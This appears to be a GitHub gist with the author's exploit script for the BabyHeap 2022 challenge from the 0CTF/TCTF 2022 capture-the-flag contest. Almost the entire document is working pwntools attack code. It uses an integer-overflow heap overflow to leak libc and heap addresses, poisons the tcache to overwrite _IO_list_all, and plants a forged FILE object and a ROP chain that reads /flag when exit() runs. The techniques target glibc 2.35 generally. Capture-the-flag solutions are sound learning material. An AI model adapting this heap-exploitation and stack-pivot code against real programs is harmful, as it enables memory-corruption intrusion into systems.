Created
September 19, 2022 11:14
-
-
Save xf1les/d8b883dff2b9d7c2cb653a7efa3739c0 to your computer and use it in GitHub Desktop.
My solution for BabyHeap 2022 (2022 0CTF/TCTF)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from pwn import * | |
import warnings | |
warnings.filterwarnings("ignore", category=BytesWarning) | |
context(arch="amd64", log_level="debug") | |
p = remote("47.100.33.132", "2204") | |
# ~ p = process("./babyheap") | |
libcbase = None | |
heapbase = None | |
tc_key = None | |
p_sl = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x) | |
p_s = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x) | |
libc_sym = lambda x : libc.symbols[x] | |
libc_symp = lambda x : p64(libc.symbols[x]) | |
libc_os = lambda x : libcbase + x | |
heap_os = lambda x : heapbase + x | |
def add(sz, ctx='a'): | |
p_sl(1, "Command: ") | |
p_sl(sz, "Size: ") | |
p_sl(ctx, "Content: ") | |
def edit(idx, sz, ctx): | |
p_sl(2, "Command: ") | |
p_sl(idx, "Index: ") | |
p_sl(sz, "Size: ") | |
p_sl(ctx, "Content: ") | |
def free(idx): | |
p_sl(3, "Command: ") | |
p_sl(idx, "Index: ") | |
def show(idx): | |
p_sl(4, "Command: ") | |
p_sl(idx, "Index: ") | |
######################################################################## | |
add(0x10) # 0 | |
add(0x10) # 1 | |
add(0x800) # 2 | |
add(0x10) | |
############################################################### | |
### Stage 1: heap overflowing, change chunk1's size to 0x80 ### | |
############################################################### | |
edit(0, -1, 0x10 * b'a' + flat([0, 0x81])) # BUG, Interge overflow | |
free(1) | |
add(0x70, 0x10 * b'a' + flat([0, 0x811])) # 1 | |
####################################################################### | |
### Stage 2: free chunk2, leak main_arena address by showing chunk1 ### | |
####################################################################### | |
free(2) | |
show(1) | |
p.recvuntil("]: ") | |
p.recv(0x20) | |
libcbase = u64(p.recv(8)) - 0x219ce0 | |
info("libcbase: 0x%lx", libcbase) | |
############################################################# | |
### Stage 3: free two chunks to tcache, leak heap address ### | |
############################################################# | |
add(0x20) # 2 | |
add(0x20) # 4 | |
free(2) | |
free(4) | |
show(1) | |
p.recvuntil("]: ") | |
p.recv(0x20) | |
tc_key = u64(p.recv(8)) | |
info("tcache key: 0x%lx", tc_key) | |
p.recv(0x28) | |
heapbase = (u64(p.recv(8)) ^ tc_key) - 0x2e0 | |
info("heapbase key: 0x%lx", heapbase) | |
########################################## | |
### Stage 4: prepare for ORW ROP chain ### | |
########################################## | |
rop_chain = heap_os(0x340) # the address of rop chain | |
mov_rax_0 = libc_os(0xbab79) | |
mov_rax_1 = libc_os(0xd83e0) | |
mov_rax_2 = libc_os(0xd83f0) | |
xchg_eax_edi = libc_os(0x14a385) | |
pop_rdi = libc_os(0x2a3e5) | |
pop_rsi = libc_os(0x2be51) | |
pop_rdx_r12 = libc_os(0x11f497) | |
syscall = libc_os(0x91396) | |
rop_raw = [ | |
pop_rdi, 0xdeadbeef, | |
pop_rsi, 0, | |
mov_rax_2, syscall, | |
xchg_eax_edi, | |
pop_rsi, 0xdeadbeef, | |
pop_rdx_r12, 0x80, 0, | |
mov_rax_0, syscall, | |
pop_rdi, 1, | |
mov_rax_1, syscall | |
] | |
rop_raw[1] = rop_raw[8] = rop_chain + len(rop_raw) * 8 | |
rop = flat(rop_raw) + b'/flag\x00' | |
add(0x100, rop) # write ROP chain on heap | |
############################################## | |
### Stage 5: prepare for forge FILE object ### | |
############################################## | |
## Found by https://github.com/xf1les/fsop-finder | |
## 2.35-0ubuntu3.1 | |
# 3. sub_860b0@0x860b0 -> _IO_wdoallocbuf@0x83bf0 | |
# 0x861cd: call(0x83bf0) | |
# RIP/RDI DATAFLOW: | |
# rbx = rdi -> rdi = rbx -> call(0x83bf0) | |
# RBP DATAFLOW: | |
# rbp = [rdi + 0x98].q | |
# CODE PATH: | |
# eax = [rdi].d | |
# => [condition] (al & 4) == 0 | |
# rax = [rdi + 0xa0].q | |
# rdx = [rax].q | |
# => [condition] rdx u>= [rax + 8].q | |
# rdx = [rdi + 8].q | |
# => [condition] rdx u< [rdi + 0x10].q | |
# rdi = [rax + 0x40].q | |
# => [condition] rdi == 0 | |
# 0x83c1b: call([rax + 0x68].q) | |
# RIP/RDI DATAFLOW: | |
# rax = [rdi + 0xa0].q -> rax = [rax + 0xe0].q -> call([rax + 0x68].q) | |
# RBP DATAFLOW: | |
# (N/A) | |
# CODE PATH: | |
# rax = [rdi + 0xa0].q | |
# => [condition] [rax + 0x30].q == 0 | |
# => [condition] ([rdi].b & 2) == 0 | |
# ([0x216020] is the location of sub_860b0 in __libc_IO_vtables) | |
fp = heap_os(0x440) # the address of forge file object | |
leave_ret = libc_os(0x562ec) | |
vtable_ptr = libc_os(0x216020-0x18) | |
forge_fp = flat({ | |
0x10 : 0xffffffffffffffff, | |
0x28 : 0xffffffffffffffff, | |
0x68 : leave_ret, | |
0x88 : fp + 0xe0, | |
0x98 : rop_chain - 8, | |
0xa0 : fp + 0x10, | |
0xd8 : vtable_ptr, | |
0xf0 : fp | |
}, filler=b"\x00") | |
add(0x100, forge_fp[0x10:]) # write forge FILE object on heap | |
####################################################################### | |
### Stage 6: write the address of forge FILE object to _IO_list_all ### | |
####################################################################### | |
payload = flat({ | |
0x18 : 0x31, | |
0x20 : tc_key, | |
0x48 : 0x31, | |
0x50 : libc_os(0x21a680) ^ tc_key, # _IO_list_all | |
0x58 : 0 | |
}, filler=b"\x00") | |
edit(1, len(payload), payload) # edit tcache chunk's fd pointer | |
add(0x20) | |
add(0x20, p64(fp)) # allocate _IO_list_all from tcache | |
###################################################### | |
### Stage 7: call exit() to perform stack pivoting ### | |
###################################################### | |
# exit() -> _IO_cleanup() -> _IO_flush_all_lockp() -> _IO_wfile_underflow_mmap() -> _IO_wdoallocbuf() -> "leave; ret" gadget -> ROP chain | |
p.sendline('5') | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment